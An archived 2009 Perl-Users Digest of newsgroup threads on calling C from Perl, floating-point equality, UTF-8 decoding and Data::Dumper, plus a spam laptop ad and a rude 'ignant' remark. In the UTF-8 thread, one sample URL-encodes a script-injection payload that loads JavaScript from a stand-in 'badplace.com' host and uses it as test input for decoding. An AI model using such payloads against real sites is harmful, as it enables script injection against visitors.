[31254] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 2496 Volume: 11

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Thu Jul 2 18:18:30 2009

Date: Thu, 2 Jul 2009 11:46:09 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)

Perl-Users Digest           Thu, 2 Jul 2009     Volume: 11 Number: 2496

Today's topics:
    Re: Calling 'C' routines from perl. <prathap.bgl@gmail.com>
        Compare, two identical numbers are not the same?! <justin.0903@purestblue.com>
    Re: Compare, two identical numbers are not the same?! <bugbear@trim_papermule.co.uk_trim>
    Re: Compare, two identical numbers are not the same?! <ben@morrow.me.uk>
    Re: Compare, two identical numbers are not the same?! <jurgenex@hotmail.com>
    Re: Compare, two identical numbers are not the same?! <glennj@ncf.ca>
    Re: Compare, two identical numbers are not the same?! <jurgenex@hotmail.com>
    Re: Compare, two identical numbers are not the same?! <tadmc@seesig.invalid>
    Re: Compare, two identical numbers are not the same?! <jurgenex@hotmail.com>
    Re: Compare, two identical numbers are not the same?! <justin.0903@purestblue.com>
    Re: Compare, two identical numbers are not the same?! <cartercc@gmail.com>
    Re: Compare, two identical numbers are not the same?! <jurgenex@hotmail.com>
        converting UTF-8 to unicode hex with perl <fangqq@gmail.com>
    Re: converting UTF-8 to unicode hex with perl <hjp-usenet2@hjp.at>
    Re: converting UTF-8 to unicode hex with perl sln@netherlands.com
    Re: converting UTF-8 to unicode hex with perl <fangqq@gmail.com>
    Re: converting UTF-8 to unicode hex with perl sln@netherlands.com
        Dell Studio <syeda.nida.manzar@gmail.com>
    Re: dup hash ref in array sln@netherlands.com
    Re: dup hash ref in array <user@example.net>
        Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Fri, 26 Jun 2009 08:21:58 -0700 (PDT)
From: Prathap <prathap.bgl@gmail.com>
Subject: Re: Calling 'C' routines from perl.
Message-Id: <badbc6bf-f8b2-46d2-baee-1a421c73365e@f38g2000pra.googlegroups.com>

On Jun 26, 12:07=A0pm, Prathap <prathap....@gmail.com> wrote:
> On Jun 26, 5:59=A0am, Ben Morrow <b...@morrow.me.uk> wrote:
>
>
>
>
>
> > Quoth Prathap <prathap....@gmail.com>:
>
> > > On Jun 26, 1:44=A0am, Tad J McClellan <ta...@seesig.invalid> wrote:
> > > > Prathap <prathap....@gmail.com> wrote:
> > > > > =A0 Can someone let me know how to invoke a 'C' routine from perl=
 .
>
> > > > =A0 =A0 perldoc -q ' C '
>
> > > > =A0 =A0 =A0 =A0 Where can I learn about linking C with Perl?
>
> > > Thanks for all the suggestions. Can you please explain with an exampl=
e
> > > why and how swig is useful?
>
> > I would stay away from SWIG. Its primary purpose is to create bindings
> > for lots of different languages from one source file, and IME perl
> > extensions built with SWIG (e.g. the SVN bindings) tend to be somewhat
> > awkward to use.
>
> > > How do I make C libraries and finally infoke them from Perl. It will
> > > be of great quick help for me.
>
> > You give the impression that you haven't even written the C yet. You
> > need to do that first, and here is not the place to ask for help with
> > that. If you don't have a library that you know how to invoke from C,
> > you haven't a hope of invoking it from Perl.
>
> > You also need to read some of the documentation you have been pointed
> > at, and try writing something for yourself. You will not get any useful
> > help here until you say something like 'I wrote an XS/Inline::C file
> > that looks like this, and I expected X, but I got Y instead'.
>
> > Ben
>
> I will do that. Just wanted a simplified introduction to the concepts.
> Thanks for the referances you all have provided and I hope to get
> things moving quickly. Will come back if any queries on my
> experiments.
>
> Regards,
> Prathap- Hide quoted text -
>
> - Show quoted text -

Thanks everyone. I read perlxstut and wrote few samples and they work
fine for me.

Regards,
Prathap


------------------------------

Date: Mon, 29 Jun 2009 16:24:43 -0000
From: Justin C <justin.0903@purestblue.com>
Subject: Compare, two identical numbers are not the same?!
Message-Id: <1342.4a48eacb.59995@zem>


This one is really confusing me. I have a comparison:

$totalIndividualWeights != $param{weight}

and when they're both 42.6 (probably other numbers too, but this is the
problem someone has, and has come to me with) Perl says they're not the
same:

my $totalIndividualWeights = addIndividualWeights();
    
    if ($totalIndividualWeights != $param{weight}){
	print "Weight does not add up to total weight given on the first form.\$totalIndividualWeights = $totalIndividualWeights \n \$param{weight} = $param{weight}";
    }                          

The print statement says both weights are 42.6. $param{weight} was 
input by the user, $totalIndividualWeights is reached by adding several 
user inputs: 2.86, 9.94, 9.98, 9.88, 9.94

Does perl have a problem with empty decimal places? What I mean is, the 
inputs are to two decimals, but the result is only using one, is perl
thinking "42.60" and not matching 42.6?

Thank you for any help you can give with this.

	Justin.

-- 
Justin C, by the sea.


------------------------------

Date: Mon, 29 Jun 2009 17:29:17 +0100
From: bugbear <bugbear@trim_papermule.co.uk_trim>
Subject: Re: Compare, two identical numbers are not the same?!
Message-Id: <1OWdnR_z9dBAdtXXnZ2dnUVZ8jli4p2d@brightview.co.uk>

Justin C wrote:
> This one is really confusing me. I have a comparison:
> 
> $totalIndividualWeights != $param{weight}
> 
> and when they're both 42.6 (probably other numbers too, but this is the
> problem someone has, and has come to me with) Perl says they're not the
> same:


In general, do not compare real("float") values for equality, only nearness
within some delta.

This is general for all languages that support real data.

   BugBear


------------------------------

Date: Mon, 29 Jun 2009 17:50:57 +0100
From: Ben Morrow <ben@morrow.me.uk>
Subject: Re: Compare, two identical numbers are not the same?!
Message-Id: <h08nh6-soj.ln1@osiris.mauzo.dyndns.org>


Quoth justin.news@purestblue.com:
> 
> This one is really confusing me. I have a comparison:
> 
> $totalIndividualWeights != $param{weight}
> 
> and when they're both 42.6 (probably other numbers too, but this is the
> problem someone has, and has come to me with) Perl says they're not the
> same:

perldoc -q decimal
perldoc perlnumber

Read up on how floating-point numbers work.

Ben



------------------------------

Date: Mon, 29 Jun 2009 10:06:00 -0700
From: Jürgen Exner <jurgenex@hotmail.com>
Subject: Re: Compare, two identical numbers are not the same?!
Message-Id: <imsh459nhg9s4t2u363qpkbgpku87ra22o@4ax.com>

Justin C <justin.0903@purestblue.com> wrote:
>
>This one is really confusing me. I have a comparison:
>
>$totalIndividualWeights != $param{weight}
>
>and when they're both 42.6 (probably other numbers too, but this is the
>problem someone has, and has come to me with) Perl says they're not the
>same:

You forgot the first commandment of computer numerics:

	Thou shalt not use equality for floating point numbers!

See 'perldoc -q 9999' for further details. Although those seem to be
unrelated questions/issues in fact they have the same underlying reason
which applies to virtually all programming languages.

>The print statement says both weights are 42.6

Try printing them with 20 digits: 
	printf("%.20f", $totalIndividualWeights)
You may be surprised.

jue


------------------------------

Date: 30 Jun 2009 01:48:33 GMT
From: Glenn Jackman <glennj@ncf.ca>
Subject: Re: Compare, two identical numbers are not the same?!
Message-Id: <slrnh4irnh.2do.glennj@smeagol.ncf.ca>

At 2009-06-29 12:24PM, "Justin C" wrote:
>  The print statement says both weights are 42.6. $param{weight} was 
>  input by the user, $totalIndividualWeights is reached by adding several 
>  user inputs: 2.86, 9.94, 9.98, 9.88, 9.94

I addition to all the better advice, did you chomp() your user input?
Are you comparing "42.6\n" to a number that's close to 42.6?

-- 
Glenn Jackman
    Write a wise saying and your name will live forever. -- Anonymous


------------------------------

Date: Mon, 29 Jun 2009 19:22:08 -0700
From: Jürgen Exner <jurgenex@hotmail.com>
Subject: Re: Compare, two identical numbers are not the same?!
Message-Id: <dcti451cn650tjr0jp6u7hgnk6dgrfp9r8@4ax.com>

Glenn Jackman <glennj@ncf.ca> wrote:
>At 2009-06-29 12:24PM, "Justin C" wrote:
>>  The print statement says both weights are 42.6. $param{weight} was 
>>  input by the user, $totalIndividualWeights is reached by adding several 
>>  user inputs: 2.86, 9.94, 9.98, 9.88, 9.94
>
>I addition to all the better advice, did you chomp() your user input?
>Are you comparing "42.6\n" to a number that's close to 42.6?

If that were the case then he should have gotten a warning about
non-numerical value used in numerical comparison. At least if he had
used warnings.

Technically it doesn't matter. He is using numerical compare "=", thus
Perl uses the arguments in numerical context and therefore automatically
converts the string "42.6\n" into the numerical floating point value
42.6 resp. something very close to it. 

jue


------------------------------

Date: Mon, 29 Jun 2009 23:31:46 -0500
From: Tad J McClellan <tadmc@seesig.invalid>
Subject: Re: Compare, two identical numbers are not the same?!
Message-Id: <slrnh4j53b.db7.tadmc@tadmc30.sbcglobal.net>

Jürgen Exner <jurgenex@hotmail.com> wrote:
> Glenn Jackman <glennj@ncf.ca> wrote:
>>At 2009-06-29 12:24PM, "Justin C" wrote:
>>>  The print statement says both weights are 42.6. $param{weight} was 
>>>  input by the user, $totalIndividualWeights is reached by adding several 
>>>  user inputs: 2.86, 9.94, 9.98, 9.88, 9.94
>>
>>I addition to all the better advice, did you chomp() your user input?

> If that were the case then he should have gotten a warning about
> non-numerical value used in numerical comparison. At least if he had
> used warnings.


No, there is no warning for trailing whitespace.

---------------------
#!/usr/bin/perl
use warnings;
use strict;

while ( <DATA> ) {
    $_ += 0;
}

# last line below has spaces at the end

__DATA__
9.94
9.94NaN
9.94   
---------------------


-- 
Tad McClellan
email: perl -le "print scalar reverse qq/moc.noitatibaher\100cmdat/"


------------------------------

Date: Mon, 29 Jun 2009 22:12:20 -0700
From: Jürgen Exner <jurgenex@hotmail.com>
Subject: Re: Compare, two identical numbers are not the same?!
Message-Id: <lk7j45hvast7989itho5tcp2pedh1v7rcm@4ax.com>

Tad J McClellan <tadmc@seesig.invalid> wrote:
>Jürgen Exner <jurgenex@hotmail.com> wrote:
>> Glenn Jackman <glennj@ncf.ca> wrote:
>>>At 2009-06-29 12:24PM, "Justin C" wrote:
>>>>  The print statement says both weights are 42.6. $param{weight} was 
>>>>  input by the user, $totalIndividualWeights is reached by adding several 
>>>>  user inputs: 2.86, 9.94, 9.98, 9.88, 9.94
>>>
>>>I addition to all the better advice, did you chomp() your user input?
>
>> If that were the case then he should have gotten a warning about
>> non-numerical value used in numerical comparison. At least if he had
>> used warnings.
>
>No, there is no warning for trailing whitespace.

I stand corrected.

jue


------------------------------

Date: Tue, 30 Jun 2009 14:17:38 -0000
From: Justin C <justin.0903@purestblue.com>
Subject: Re: Compare, two identical numbers are not the same?!
Message-Id: <2225.4a4a1e82.545d0@zem>

On 2009-06-29, Jürgen Exner <jurgenex@hotmail.com> wrote:
> Justin C <justin.0903@purestblue.com> wrote:
>>
>>This one is really confusing me. I have a comparison:
>>
>>$totalIndividualWeights != $param{weight}
>>
>>and when they're both 42.6 (probably other numbers too, but this is the
>>problem someone has, and has come to me with) Perl says they're not the
>>same:
>
> You forgot the first commandment of computer numerics:
>
> 	Thou shalt not use equality for floating point numbers!

Being self-taught this had passed me by (I'm not qualified to teach
Perl you see, that's why my education was lacking this nugget - among
others). 

OK. I can be certain that a user will never put in a number using more
than two decimal places - if they do I can reject it. Would I be better
off multiplying the input data by 100 and working in integars only? Then
dividing by 100 only when I need the "real" number? It sure looks like
it would make life easier.

On the other hand, the sprintf trick works. Maybe I should just try and
remember not to compare floats - that's obviously the best solution
because it'll save me asking again in the future.

Maybe, when I write my end of term report for myself, I should mention
this, maybe I'll remember it when I read what my teacher says about me.


> See 'perldoc -q 9999' for further details. Although those seem to be
> unrelated questions/issues in fact they have the same underlying reason
> which applies to virtually all programming languages.
>
>>The print statement says both weights are 42.6
>
> Try printing them with 20 digits: 
> 	printf("%.20f", $totalIndividualWeights)
> You may be surprised.

Not *that* surprised.  :)  (at least, not after reading this thread!).


	Justin.

-- 
Justin C, by the sea.


------------------------------

Date: Tue, 30 Jun 2009 07:55:15 -0700 (PDT)
From: ccc31807 <cartercc@gmail.com>
Subject: Re: Compare, two identical numbers are not the same?!
Message-Id: <2123a066-1533-4a57-99bb-19e8ce6d94f2@z9g2000yqi.googlegroups.com>

On Jun 30, 10:17=A0am, Justin C <justin.0...@purestblue.com> wrote:
> OK. I can be certain that a user will never put in a number using more
> than two decimal places - if they do I can reject it. Would I be better
> off multiplying the input data by 100 and working in integars only?

Test that the absolute value of the difference between the two is less
than, say, 0.001, or whatever your tolerance is. You can create a user
defined function that returns true or false for your convenience, like

if (within_tolerance( val1, val2)) #if true
{ then_do_something(); }
else                               #if false
{ do_something_else(); }

CC


------------------------------

Date: Tue, 30 Jun 2009 08:05:57 -0700
From: Jürgen Exner <jurgenex@hotmail.com>
Subject: Re: Compare, two identical numbers are not the same?!
Message-Id: <6i9k45tdri01d4muhkvbg8g95ncka3fqcf@4ax.com>

Justin C <justin.0903@purestblue.com> wrote:
>On 2009-06-29, Jürgen Exner <jurgenex@hotmail.com> wrote:
>> You forgot the first commandment of computer numerics:
>>
>> 	Thou shalt not use equality for floating point numbers!
>
>OK. I can be certain that a user will never put in a number using more
>than two decimal places - if they do I can reject it. Would I be better
>off multiplying the input data by 100 and working in integars only? 

That would be one common approach to avoid any inaccuracies caused by
floating point arithmetic.

>Then
>dividing by 100 only when I need the "real" number? It sure looks like
>it would make life easier.

Think of it as doing all calculations in cent instead of in dollar or
euro and only convert them into a 'human-friendly" format when printing
or reading those amounts.
If this works for your application then it's the best posible solution.

However, computer numerics are tricky, there is a reason why it is a
subject matter at university, and even that method is not fool-proof.

Example: when calculating interest on a long list of accounts, even if
you manage them internally in cent,  you may get a different result when
adding up all the interest paid to each account compared to calculating
the sum of all accounts and then the interest on the lump sum. Those
rounding errors are what's driving accountants and bankers nuts because
it takes forever to find out where and why those 3 cents went missing in
action while the missing million will be spotted immediately.

>On the other hand, the sprintf trick works. Maybe I should just try and
>remember not to compare floats - 

It is ok to compare floats for smaller/larger. But instead of checking
for equal you must check if the difference between the two numbers is
smaller than some tiny number. How large that tiny number is depends on
your application area, but it will never be 100% accurate.

jue


------------------------------

Date: Sat, 27 Jun 2009 00:24:06 -0700 (PDT)
From: FangQ <fangqq@gmail.com>
Subject: converting UTF-8 to unicode hex with perl
Message-Id: <d91826e3-a56d-4951-a8f6-b1806692aad9@n21g2000vba.googlegroups.com>

I need to convert a utf-8 encoded character to it's corresponding
unicode value. Because these characters is located between
0x20000~0x2FFFF, therefore, my old approach, i.e. using Text::Iconv
(from UTF-8 to UCS-2) does not work anymore. Any better approach?
(converting to its surrogate pairs is also fine)

as an example, the URL encoded UTF-8 character (4 byte) is "%F0%A1%BF
%AA", and I want the output to be 0x21FEA.

thanks in advance!


------------------------------

Date: Sat, 27 Jun 2009 11:37:55 +0200
From: "Peter J. Holzer" <hjp-usenet2@hjp.at>
Subject: Re: converting UTF-8 to unicode hex with perl
Message-Id: <slrnh4bq3k.vh1.hjp-usenet2@hrunkner.hjp.at>

On 2009-06-27 07:24, FangQ <fangqq@gmail.com> wrote:
> I need to convert a utf-8 encoded character to it's corresponding
> unicode value.

Use the "decode" function.

> Because these characters is located between
> 0x20000~0x2FFFF, therefore, my old approach, i.e. using Text::Iconv
> (from UTF-8 to UCS-2) does not work anymore. Any better approach?
> (converting to its surrogate pairs is also fine)

my $characters = decode('UTF-8', $bytes);

for (split(//, $characters)) {
    printf("%#x\n", ord);
}

	hp


------------------------------

Date: Sat, 27 Jun 2009 03:58:34 -0700
From: sln@netherlands.com
Subject: Re: converting UTF-8 to unicode hex with perl
Message-Id: <bmub45h7q54mtonh2m8baik9k490hjug1t@4ax.com>

On Sat, 27 Jun 2009 00:24:06 -0700 (PDT), FangQ <fangqq@gmail.com> wrote:

>I need to convert a utf-8 encoded character to it's corresponding
>unicode value. Because these characters is located between
>0x20000~0x2FFFF, therefore, my old approach, i.e. using Text::Iconv
>(from UTF-8 to UCS-2) does not work anymore. Any better approach?
>(converting to its surrogate pairs is also fine)
>
>as an example, the URL encoded UTF-8 character (4 byte) is "%F0%A1%BF
>%AA", and I want the output to be 0x21FEA.
>
>thanks in advance!

Something like below should help.

-sln

------------------------
use strict;
use warnings;
use Encode;
binmode STDOUT, ':utf8';

print "\n";

my $tmp = "\x{21fea}";

my $octets = encode ("utf8", $tmp);
print "Encoded string:\n";
print "   length  =  ".length($octets)."\n";
print "   octets  =  $octets\n";
print "   URL val =  ";
for (split //, $octets) {
	printf ("%%%X", ord($_));
}
print "\n\n";

my $string = decode ("utf8", $octets);
print "Decoded string:\n";
print "   length  =  ".length($string)."\n";
print "   string  =  $string\n";
print "   HEX val =  ";
for (split //, $string) {
	printf ("0x%X", ord($_));
}
print "\n";

__END__

Output:

Encoded string:
   length  =  4
   octets  =  +¦-í-+-¬
   URL val =  %F0%A1%BF%AA

Decoded string:
   length  =  1
   string  =  =í+¬
   HEX val =  0x21FEA




------------------------------

Date: Sat, 27 Jun 2009 06:49:55 -0700 (PDT)
From: FangQ <fangqq@gmail.com>
Subject: Re: converting UTF-8 to unicode hex with perl
Message-Id: <58f51d5d-96f1-4659-a654-cea33738d320@m18g2000vbi.googlegroups.com>

thank you both for the quick response. I followed your examples and
get the conversion working.


Qianqian


On Jun 27, 5:37=A0am, "Peter J. Holzer" <hjp-usen...@hjp.at> wrote:
> On 2009-06-27 07:24, FangQ <fan...@gmail.com> wrote:
>
> > I need to convert a utf-8 encoded character to it's corresponding
> > unicode value.
>
> Use the "decode" function.
>
> > Because these characters is located between
> > 0x20000~0x2FFFF, therefore, my old approach, i.e. using Text::Iconv
> > (from UTF-8 to UCS-2) does not work anymore. Any better approach?
> > (converting to its surrogate pairs is also fine)
>
> my $characters =3D decode('UTF-8', $bytes);
>
> for (split(//, $characters)) {
> =A0 =A0 printf("%#x\n", ord);
>
> }
>
> =A0 =A0 =A0 =A0 hp



------------------------------

Date: Sat, 27 Jun 2009 19:04:26 -0700
From: sln@netherlands.com
Subject: Re: converting UTF-8 to unicode hex with perl
Message-Id: <eejd45dbecg8bevgneiag5f608dil9bd92@4ax.com>

On Sat, 27 Jun 2009 06:49:55 -0700 (PDT), FangQ <fangqq@gmail.com> wrote:

>thank you both for the quick response. I followed your examples and
>get the conversion working.
>
>
>Qianqian
>
>

One last question. If you can't decode the URL with that module
(because of 4-byte embeded utf8), what are you using?

-sln
-----------------------------------
use strict;
use warnings;
use Encode;
binmode STDOUT, ':utf8';

my $urlchrs =   qr/[^\w.!~*'()]/; #URL unreserved chars (just a guess)

my $url_encoded_sample = 'http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2f
www.badplace.com%2fnasty%F0%A1%BF%AA.js%22%3e%3c%2fscript%3e';
#         4byte, UTF-8  ^^^^^^^^^^^^

# test prints of URL encoded sample ...
print "\nSample:\n$url_encoded_sample\n",'-'x20,"\n";
print "\n", decodeURL( $url_encoded_sample ),"\n";
print "\n", encodeURL( decodeURL( $url_encoded_sample ) ),"\n";
print "\n", decodeURL( encodeURL( decodeURL( $url_encoded_sample ) ) ),"\n\n";

# decoded UTF-8. values > 255 are shown as dynamic generated hex string (useless) ...
for (split //, decode ('UTF-8', decodeURL( $url_encoded_sample ) )) {
	my $uchar = ord;
	if ($uchar >= 255) {
		printf ("\\x{%X}", $uchar);
	} else {
		print;
	}
}
print "\n";
exit 0;

# subs ...
sub decodeURL {
    my $bytes = shift;
    $bytes =~ s/%([0-9a-fA-F]{2})/ pack ("C", hex($1)) /ge; # octets 'C'
    return $bytes;
}
sub encodeURL {
    my $text = shift;
    $text =~ s/($urlchrs)/ sprintf ("%%%02X", ord($1)) /ge;
    return $text;
}

__END__

Output:

Sample:
http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2f
www.badplace.com%2fnasty%F0%A1%BF%AA.js%22%3e%3c%2fscript%3e
--------------------

http://target/getdata.php?data=<script src="http://
www.badplace.com/nasty+¦-í-+-¬.js"></script>

http%3A%2F%2Ftarget%2Fgetdata.php%3Fdata%3D%3Cscript%20src%3D%22http%3A%2F%2F%0A
www.badplace.com%2Fnasty%F0%A1%BF%AA.js%22%3E%3C%2Fscript%3E

http://target/getdata.php?data=<script src="http://
www.badplace.com/nasty+¦-í-+-¬.js"></script>

http://target/getdata.php?data=<script src="http://
www.badplace.com/nasty\x{21FEA}.js"></script>




------------------------------

Date: Fri, 26 Jun 2009 05:15:41 -0700 (PDT)
From: Syed Nida Manzar <syeda.nida.manzar@gmail.com>
Subject: Dell Studio
Message-Id: <13a46d62-ad3e-42b6-b3ea-054f87e20d4d@r25g2000vbn.googlegroups.com>

Dell=92s Studio 1555 notebook came out as a deficiently equipped basic
version, though its price of 499.99 Euros is quite competitive. The
ancestors of the present version were all named with the label Studio
15, but one can differentiate them through the last two digits of each
model number =96 1525, 1535, 1545, 1555. To be in line with the current
trend, Dell has designed a display of 16:9 cinematic format having the
components of the optional hardware fit to the new technique.


For More Details Visit :http://technocityy.blogspot.com/2009/06/dells-
studio-1555-notebook.html


------------------------------

Date: Fri, 26 Jun 2009 07:39:57 -0700
From: sln@netherlands.com
Subject: Re: dup hash ref in array
Message-Id: <5cn9459lprbqgf3af3ts0h6ulnbmctdi18@4ax.com>

On Thu, 25 Jun 2009 06:14:26 -0500, Tad J McClellan <tadmc@seesig.invalid> wrote:

>Ben Morrow <ben@morrow.me.uk> wrote:
>>
>> Quoth monkeys paw <noboey@home.com>:
>>> Ben Morrow wrote:
>>> > Quoth monkeys paw <noboey@home.com>:
>>> >>
>>> >> $VAR1 = [
>>> >>            {
>>> >>              'xxx' => 1,
>>> >>              'yyy' => 2,
>>> >>              'zzz' => 3
>>> >>            },
>>> >>            $VAR1->[0],
>>> >>            $VAR1->[0]
>>> >>          ];
>>> > 
>>> > ...and your question is?
>>> > 
>>> > That is exactly what I would expect it to produce. What were you
>>> > expecting?
>>> > 
>>> My question would be then, why does data::dumper show $var1->[0],
>>> instead of the values? The array exists as i expected, i was
>>> thrown by data::dumper  interpretation.
>>
>> As Tad said, you need to read the docs for Data::Dumper. You also need
>> to read perldoc perlreftut until you understand it.
>>
>> Something that might help: consider the output of this:
>>
>>     my $href = { a => 1 };
>>     my @ary  = ($href, $href);
>>
>>     warn $ary[0]{a};
>>     $ary[1]{a} = 2;
>>     warn $ary[0]{a};
>
>
>Probably even more helpful, consider the output of this:
>
>    my $href = { };
>    $href->{self} = $href;
>
>    use Data::Dumper;
>    print Dumper $href;
>
>If it did what you expected, it would run for "a really long time":
>
>$VAR1 = {
>          'self' => {
>                      'self' => {
>                                  'self' => {
>                                              'self' => {
>                                                          'self' => ...

sub _GVM
{
	my ($var, $result) = @_;

	# Hash ref's
	if ( ref ($var) eq 'HASH') { 
		return $result if ( ++$result->{hseen}{$var} > 1);
		if ( ++$result->{level} > $result->{depth}) {
			$result->{depth} = $result->{level}
		}
		$result->{hashs}++;
		for (values %{$var}) {
			# go deeper into the key value
			$result->{keys}++;
			_GVM ($_, $result);
		}
		$result->{level}--;

		# deepest level here, hash can be deleted
		%{$var} = () if ($result->{purge});
	}
	# Array ref's
	elsif ( ref ($var) eq 'ARRAY') {
		return $result if ( ++$result->{hseen}{$var} > 1);
		if ( ++$result->{level} > $result->{depth}) {
			$result->{depth} = $result->{level}
		}
		$result->{arrays}++;
		for (@{$var}) {
			# go deeper into array element
			_GVM ($_, $result);
		}
		$result->{level}--;

		# deepest level here, array can be deleted
		@{$var} = () if ($result->{purge});
	}
	# Other scalars (add more processing here)
	else {
		$result->{others}++;
	}
	return $result;
}

-sln



------------------------------

Date: Fri, 26 Jun 2009 15:34:50 -0400
From: monkeys paw <user@example.net>
Subject: Re: dup hash ref in array
Message-Id: <JMSdnTdTf7hEv9jXnZ2dnUVZ_rWdnZ2d@insightbb.com>

sln@netherlands.com wrote:
> On Wed, 24 Jun 2009 14:56:32 -0400, monkeys paw <noboey@home.com> wrote:
> 
>> Tad J McClellan wrote:
>>> monkeys paw <noboey@home.com> wrote:
>>>> This code:
>>>>
>>>>
>>>> my @x;
>>>> my $y;
>>>>
>>>> $y = {xxx => 1, yyy => 2, zzz => 3};
>>>>
>>>> for (1..3) {
>>>>      push @x, $y;
>>>> }
>>>>
>>>> use Data::Dumper;die Dumper(\@x);
>>>>
>>>> Produces THIS:
>>>>
>>>> $VAR1 = [
>>>>            {
>>>>              'xxx' => 1,
>>>>              'yyy' => 2,
>>>>              'zzz' => 3
>>>>            },
>>>>            $VAR1->[0],
>>>>            $VAR1->[0]
>>>>          ];
>>>
>>> Yes it does.
>>>
>>> What about it?
>>>
>>>
>>> (did you read the 3rd paragraph of the docs for the module 
>>> that you are using?)
>>>
>>>
>> I want the output to be this:
>>
>> $VAR1 = [
>>             {
>>               'xxx' => 1,
>>               'yyy' => 2,
>>               'zzz' => 3
>>             },
>>             {
>>               'xxx' => 1,
>>               'yyy' => 2,
>>               'zzz' => 3
>>             },
>>             {
>>               'xxx' => 1,
>>               'yyy' => 2,
>>               'zzz' => 3
>>             },
>> ];
> 
> Only an ignant from Apalacha would want that.
> 
> @x = (
>   {xxx => 1, yyy => 2, zzz => 3},
>   {xxx => 1, yyy => 2, zzz => 3},
>   {xxx => 1, yyy => 2, zzz => 3},
>   # add more here
> );
> 
> -sln
> 

Here is the correct code, thanks for the help:

#!/usr/bin/perl
# WHAT THE HELL IS AN "IGNANT"?

$y = {xxx => 1, yyy => 2, zzz => 3};

for (1..3) {
     $y->{index} = $_;
     push @x, {%$y}; # De-ref here or all elements are same.
}

my $count;
foreach my $hashref ( @x ) {
     print $count++, "\n";
     foreach my $key ( sort keys %{$hashref} ) {
         print "  $key:  $hashref->{$key}\n";
     }
}


------------------------------

Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>


Administrivia:

#The Perl-Users Digest is a retransmission of the USENET newsgroup
#comp.lang.perl.misc.  For subscription or unsubscription requests, send
#the single line:
#
#	subscribe perl-users
#or:
#	unsubscribe perl-users
#
#to almanac@ruby.oce.orst.edu.  

NOTE: due to the current flood of worm email banging on ruby, the smtp
server on ruby has been shut off until further notice. 

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

#To request back copies (available for a week or so), send your request
#to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
#where x is the volume number and y is the issue number.

#For other requests pertaining to the digest, send mail to
#perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
#sending perl questions to the -request address, I don't have time to
#answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V11 Issue 2496
***************************************


home help back first fref pref prev next nref lref last post